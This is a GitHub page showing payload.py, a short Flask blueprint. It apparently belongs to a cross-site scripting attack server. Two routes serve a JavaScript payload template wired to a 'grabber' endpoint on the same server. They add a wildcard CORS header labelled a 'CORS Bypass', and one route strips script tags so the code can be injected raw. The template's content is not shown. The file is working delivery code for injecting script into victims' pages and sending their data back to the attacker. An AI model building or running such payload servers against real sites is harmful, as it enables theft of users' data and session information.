-
Notifications
You must be signed in to change notification settings - Fork 9
Expand file tree
/
Copy pathpayload.py
More file actions
23 lines (19 loc) · 752 Bytes
/
payload.py
File metadata and controls
23 lines (19 loc) · 752 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from flask import Blueprint, render_template, request
import flask
payload = Blueprint('payload', __name__)
@payload.route('/js')
def payload_index():
# Set the grabber url
grabber = request.url.replace('js','lab/grabber')
resp = flask.Response( render_template('payload.js', url=grabber) )
# CORS Bypass - Access-Control-Allow-Origin: *
resp.headers['Access-Control-Allow-Origin'] = '*'
return resp
@payload.route('/js2')
def indexjs2():
# Set the grabber url
grabber = request.url.replace('js2','lab/grabber')
resp = flask.Response( render_template('payload.js', url=grabber).replace('<script>','').replace('</script>','') )
# CORS Bypass - Access-Control-Allow-Origin: *
resp.headers['Access-Control-Allow-Origin'] = '*'
return resp